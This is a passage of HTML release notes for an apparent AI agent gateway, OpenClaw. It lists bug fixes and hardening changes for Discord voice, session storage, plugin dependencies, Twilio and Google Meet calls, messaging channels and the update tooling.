<p>Discord/voice: leave Discord voice off for text-only configs unless <code>channels.discord.voice</code> is explicitly configured, avoiding default <code>GuildVoiceStates</code> traffic and idle gateway CPU pressure for bots that do not use <code>/vc</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345485387" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73753" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73753/hovercard" href="https://github.com/openclaw/openclaw/issues/73753">#73753</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347706250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74044" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74044/hovercard" href="https://github.com/openclaw/openclaw/issues/74044">#74044</a>. Thanks @sanchezm86 and @SecureCloudProjO.</p>
</li>
<li>
<p>Discord/voice: rerun configured voice auto-join after Discord gateway RESUMED events and ignore already-destroyed stale voice connections during reconnect cleanup, so health-monitor account restarts can rejoin configured channels. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4043554548" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40665" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/40665/hovercard" href="https://github.com/openclaw/openclaw/issues/40665">#40665</a>. Thanks @liz709.</p>
</li>
<li>
<p>Plugins/CLI: reuse the cold manifest registry while building plugin status and inspect reports, so large configured plugin sets no longer rediscover the bundled/plugin registry once per inspect row. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Discord/voice: lengthen the default voice join Ready wait, add configurable <code>voice.connectTimeoutMs</code>/<code>voice.reconnectGraceMs</code>, and warn before destroying unrecovered disconnected sessions so slow Discord voice handshakes and reconnects no longer fail silently. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4223830724" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63098" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63098/hovercard" href="https://github.com/openclaw/openclaw/issues/63098">#63098</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041199935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39825" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39825/hovercard" href="https://github.com/openclaw/openclaw/issues/39825">#39825</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245973986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65039" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65039/hovercard" href="https://github.com/openclaw/openclaw/issues/65039">#65039</a>. Thanks @darealgege, @kzicherman, and @ayochim.</p>
</li>
<li>
<p>Gateway/health: refresh cached health RPC snapshots when channel runtime state diverges, so Discord and other channel status reads no longer report stale running or connected values until the cache TTL expires. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362790644" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75423" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75423/hovercard" href="https://github.com/openclaw/openclaw/pull/75423">#75423</a>)</p>
</li>
<li>
<p>Gateway/sessions: keep session-store reads from running stale prune and entry-count cap maintenance during startup, so oversized stores no longer block chat history readiness after updates while writes and <code>sessions cleanup --enforce</code> still preserve the cleanup safeguards. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4307434486" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70050" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70050/hovercard" href="https://github.com/openclaw/openclaw/issues/70050">#70050</a>. Thanks @tangda18.</p>
</li>
<li>
<p>Security/audit: keep plain <code>security audit</code> on the cold config/filesystem path and reserve plugin runtime security collectors for <code>--deep</code>, so large plugin installs cannot execute every plugin runtime during routine audits. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Discord/voice: merge configured media-understanding providers such as Deepgram into partial active provider registries, so follow-up voice turns keep transcribing after another media plugin is already active. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4251059736" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65687" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65687/hovercard" href="https://github.com/openclaw/openclaw/issues/65687">#65687</a>. Thanks @OneMintJulep.</p>
</li>
<li>
<p>WhatsApp: stage <code>qrcode</code> through root mirrored runtime dependencies so packaged QR pairing can render from staged plugin-runtime-deps installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362623764" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75394" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75394/hovercard" href="https://github.com/openclaw/openclaw/issues/75394">#75394</a>. Thanks @FelipeX2001.</p>
</li>
<li>
<p>Discord/voice: apply per-channel Discord <code>systemPrompt</code> overrides to voice transcript turns by forwarding the trusted channel prompt through the voice agent run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4077930512" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47095" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/47095/hovercard" href="https://github.com/openclaw/openclaw/issues/47095">#47095</a>. Thanks @qearlyao.</p>
</li>
<li>
<p>Discord/native commands: send component-only interaction replies from slash command and status handlers instead of treating renderable Discord components as an empty response. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Slack/slash commands: send block-only slash command replies instead of dropping Slack block payloads with no plain-text fallback. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Telegram/messages: derive fallback text from interactive button/select labels before sending button-only payloads, so Telegram replies are not rejected as empty messages. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>LINE/messages: send quick-reply-only payloads with fallback option text instead of accepting the payload and returning an empty delivery. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Auto-reply/docking: require <code>/dock-*</code> route switches to start from direct chats, so group or channel participants cannot reroute a shared session's future replies into a linked DM. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Discord: keep text-DM main-session route updates pinned to the configured DM owner, matching component interactions so another direct-message sender cannot redirect future main-session replies. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Mattermost/Matrix: keep direct-message main-session route updates pinned to the configured DM owner so paired or temporarily allowed senders cannot redirect future shared-session replies. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Discord: keep SecretRef-backed bot tokens discoverable for message actions without resolving the token during schema generation, and resolve scoped channel SecretRefs before outbound agent message sends even when the tool is built from a config snapshot. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362174273" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75324" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75324/hovercard" href="https://github.com/openclaw/openclaw/issues/75324">#75324</a>. Thanks @slideshow-dingo and @Conan-Scott.</p>
</li>
<li>
<p>Updates: run package post-install doctor repair with the managed Gateway service profile and state paths when a daemon is installed, so shell/profile mismatches no longer repair the caller state while the restarted Gateway keeps stale config. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Models/DeepInfra: declare DeepInfra manifest catalog discovery and derive its runtime fallback catalog from the manifest, restoring provider-filtered <code>models list --all --provider deepinfra</code> rows without duplicated static model data. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>CLI/update: verify managed gateway restarts against the installed service port instead of the caller shell port, so package updates do not report a healthy daemon as failed when profiles use different gateway ports. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Gateway/agent: reject strict <code>openclaw agent --deliver</code> requests with missing delivery targets before starting the agent run, so users do not wait for a completed turn that cannot send anywhere. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Setup/import: honor non-interactive <code>--import-from</code> onboarding flags by running the migration import path instead of silently completing normal setup without importing anything. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Discord/voice: run voice-channel turns under a voice-output policy that hides the agent <code>tts</code> tool and asks for spoken reply text, so <code>/vc join</code> sessions synthesize and play agent replies instead of ending with <code>NO_REPLY</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4208687812" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61536" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61536/hovercard" href="https://github.com/openclaw/openclaw/issues/61536">#61536</a>. Thanks @aounakram.</p>
</li>
<li>
<p>Doctor/plugins: keep plain <code>doctor --non-interactive</code> from installing bundled plugin runtime dependencies, so headless health checks report missing deps while <code>doctor --fix</code> remains the explicit repair path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Doctor/gateway: require an interactive confirmation before installing or rewriting the Gateway service, so <code>doctor --fix --non-interactive</code> can repair plugin/config drift without replacing the operator's launchd/systemd service from a temporary environment. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/runtime-deps: include packaged OpenClaw identity in bundled plugin loader cache keys, so same-path package upgrades stop reusing stale versioned runtime-deps mirrors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357604708" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75045" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75045/hovercard" href="https://github.com/openclaw/openclaw/issues/75045">#75045</a>. Thanks @sahilsatralkar.</p>
</li>
<li>
<p>Plugin SDK: restore reply-prefix and reply-pipeline helpers on the deprecated root/compat SDK surface so external plugins still using <code>openclaw/plugin-sdk</code> do not fail message dispatch after update. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359892122" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75171" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75171/hovercard" href="https://github.com/openclaw/openclaw/issues/75171">#75171</a>. Thanks @zhangxiliang.</p>
</li>
<li>
<p>Plugins/runtime-deps: prune inactive same-package versioned runtime-deps roots after bundled dependency repair, so upgrades do not leave old <code>openclaw-&lt;version&gt;-&lt;hash&gt;</code> package caches behind after doctor runs. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/runtime-deps: prune legacy version-scoped plugin runtime-deps roots during bundled dependency repair and cover the path in Package Acceptance's upgrade-survivor matrix, so upgrades from 2026.4.x no longer leave stale per-plugin runtime trees after doctor runs. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/runtime-deps: keep Gateway startup plugin imports and runtime plugin fallback loads verify-only after startup/config repair planning, so packaged installs no longer spawn package-manager repair from hot paths after readiness. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361552521" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75283" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75283/hovercard" href="https://github.com/openclaw/openclaw/issues/75283">#75283</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357974990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75069" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75069/hovercard" href="https://github.com/openclaw/openclaw/issues/75069">#75069</a>. Thanks @brokemac79 and @xiaohuaxi.</p>
</li>
<li>
<p>Plugins/runtime-deps: treat package.json runtime-deps manifests as supersets when generated materialization metadata is absent, so bundled plugin activation stops restaging already-installed dependency subsets on every activation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362879118" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75429" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75429/hovercard" href="https://github.com/openclaw/openclaw/issues/75429">#75429</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362889795" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75431" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75431/hovercard" href="https://github.com/openclaw/openclaw/pull/75431">#75431</a>) Thanks @loyur.</p>
</li>
<li>
<p>iMessage: add stdin write callback and error listener to IMessageRpcClient so async EPIPE from a closed child process rejects the pending request instead of crashing the gateway with uncaughtException. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362994855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75438" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75438/hovercard" href="https://github.com/openclaw/openclaw/issues/75438">#75438</a>.</p>
</li>
<li>
<p>MCP/stdio: settle MCP stdio transport send() from the write callback instead of resolving immediately on buffer acceptance, so async write errors reject the promise instead of being lost. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362994855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75438" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75438/hovercard" href="https://github.com/openclaw/openclaw/issues/75438">#75438</a>.</p>
</li>
<li>
<p>Process/exec: add stdin error listener in runCommandWithTimeout so EPIPE from a prematurely-exited child is swallowed instead of escaping to uncaughtException. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362994855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75438" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75438/hovercard" href="https://github.com/openclaw/openclaw/issues/75438">#75438</a>.</p>
</li>
<li>
<p>Voice Call/realtime: add default-off fast memory/session context for <code>openclaw_agent_consult</code>, giving live calls a bounded answer-or-miss path before the full agent consult. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329662019" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71849" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71849/hovercard" href="https://github.com/openclaw/openclaw/issues/71849">#71849</a>. Thanks @amzzzzzzz.</p>
</li>
<li>
<p>Google Meet: interrupt Realtime provider output when local barge-in clears playback, so command-pair audio stops model speech instead of only restarting Chrome playback. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346767837" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73850" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73850/hovercard" href="https://github.com/openclaw/openclaw/issues/73850">#73850</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346567653" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73834" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73834/hovercard" href="https://github.com/openclaw/openclaw/pull/73834">#73834</a>) Thanks @shhtheonlyperson.</p>
</li>
<li>
<p>Gateway/config: cap oversized plugin-owned schemas in the full <code>config.schema</code> response so large installed plugin sets cannot balloon Gateway RSS or crash schema clients. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/update: skip ClawHub and marketplace plugin updates when the bundled version is newer than the recorded installed version, so <code>openclaw update</code> no longer overwrites working bundled plugins with older external packages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363046993" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75447" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75447/hovercard" href="https://github.com/openclaw/openclaw/issues/75447">#75447</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Gateway/sessions: use bounded tail reads for sessions-list transcript usage fallbacks and cap bulk title/last-message hydration, keeping large session stores responsive when rows request derived previews. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Gateway/sessions: yield during bulk transcript title/preview hydration and copy compaction checkpoints asynchronously, keeping the Gateway event loop responsive for large session stores and large transcripts. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362222686" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75330" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75330/hovercard" href="https://github.com/openclaw/openclaw/issues/75330">#75330</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362708402" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75414" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75414/hovercard" href="https://github.com/openclaw/openclaw/issues/75414">#75414</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Gateway/sessions: stream bounded transcript reads for session detail, history, artifacts, compaction, and send/subscribe sequence paths so small Gateway requests no longer materialize large transcripts or OOM on oversized session logs. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Gateway/chat: bound chat-history transcript reads to the requested display window so large session logs no longer OOM the Gateway when clients ask for a small history page. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>BlueBubbles: detect audio attachments by Apple UTIs (<code>public.audio</code>, <code>public.mpeg-4-audio</code>, <code>com.apple.m4a-audio</code>, <code>com.apple.coreaudio-format</code>) in addition to <code>audio/*</code> MIME, so iMessage voice notes whose webhook payload only carries the UTI are now classified as audio in the inbound <code>&lt;media:audio&gt;</code> placeholder instead of falling through to the generic <code>&lt;media:attachment&gt;</code> tag. Thanks @omarshahine.</p>
</li>
<li>
<p>Voice Call/Twilio: honor stored pre-connect TwiML before realtime webhook shortcuts and reject DTMF sequences outside conversation mode, so Meet PIN entry cannot be skipped or silently dropped. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donkeykong91/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donkeykong91">@donkeykong91</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PfanP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PfanP">@PfanP</a>.</p>
</li>
<li>
<p>Docs/sandboxing: clarify that sandbox setup scripts (<code>sandbox-setup.sh</code>, <code>sandbox-common-setup.sh</code>, <code>sandbox-browser-setup.sh</code>) are only available from a source checkout, and add inline <code>docker build</code> commands for npm-installed users so sandbox image setup works without cloning the repo. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363242333" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75485" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75485/hovercard" href="https://github.com/openclaw/openclaw/issues/75485">#75485</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Google Meet/Voice Call: play Twilio Meet DTMF before opening the realtime media stream and carry the intro as the initial Voice Call message, so the greeting is generated after Meet admits the phone participant instead of racing a live-call TwiML update. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donkeykong91/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donkeykong91">@donkeykong91</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PfanP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PfanP">@PfanP</a>.</p>
</li>
<li>
<p>Google Meet/Voice Call: make Twilio setup preflight honor explicit <code>--transport twilio</code> and fail local/private Voice Call webhook URLs, including IPv6 loopback and unique-local forms, before joins. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donkeykong91/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donkeykong91">@donkeykong91</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PfanP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PfanP">@PfanP</a>.</p>
</li>
<li>
<p>Voice Call/Twilio: retry transient 21220 live-call TwiML updates and catch answered-path initial-greeting failures, so a fast answered callback no longer crashes the Gateway or drops the Twilio greeting/listen transition. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353522708" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74606" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74606/hovercard" href="https://github.com/openclaw/openclaw/pull/74606">#74606</a>) Thanks @Sivan22.</p>
</li>
<li>
<p>CLI/startup: preserve <code>OPENCLAW_HIDE_BANNER</code> banner suppression for route-first startup callers that rely on the default process environment while keeping read-only status/channel paths from repairing bundled plugin runtime dependencies. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360048495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75183/hovercard" href="https://github.com/openclaw/openclaw/pull/75183">#75183</a>.</p>
</li>
<li>
<p>Voice Call/Twilio: register accepted media streams immediately but wait for realtime transcription readiness before speaking the initial greeting, so reconnect grace handling stays live while OpenAI STT startup is no longer starved by TTS. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360162005" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75197" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75197/hovercard" href="https://github.com/openclaw/openclaw/issues/75197">#75197</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361111739" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75257" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75257/hovercard" href="https://github.com/openclaw/openclaw/pull/75257">#75257</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donkeykong91/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donkeykong91">@donkeykong91</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PfanP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PfanP">@PfanP</a>.</p>
</li>
<li>
<p>Voice Call CLI: run gateway-delegated <code>voicecall continue</code> through operation-id polling and protocol-shaped errors, so long conversational turns keep their transcript result without blocking a single Gateway RPC. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363097375" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75459" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75459/hovercard" href="https://github.com/openclaw/openclaw/pull/75459">#75459</a>) Thanks @serrurco and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</p>
</li>
<li>
<p>Voice Call CLI: delegate operational <code>voicecall</code> commands to the running Gateway runtime and skip webhook startup during CLI-only plugin loading, preventing webhook port conflicts and <code>setup --json</code> hangs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331824729" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72345" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72345/hovercard" href="https://github.com/openclaw/openclaw/issues/72345">#72345</a>. Thanks @serrurco and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</p>
</li>
<li>
<p>Agents/pi-embedded-runner: extract the <code>abortable</code> provider-call wrapper from <code>runEmbeddedAttempt</code> to module scope so its promise handlers no longer close over the run lexical context, releasing transcripts, tool buffers, and subscription callbacks when a provider call hangs past abort. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348625606" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74182" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74182/hovercard" href="https://github.com/openclaw/openclaw/issues/74182">#74182</a>) Thanks @cjboy007.</p>
</li>
<li>
<p>Docker: restore <code>python3</code> in the gateway runtime image after the slim-runtime switch. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357583202" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75041" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75041/hovercard" href="https://github.com/openclaw/openclaw/issues/75041">#75041</a>.</p>
</li>
<li>
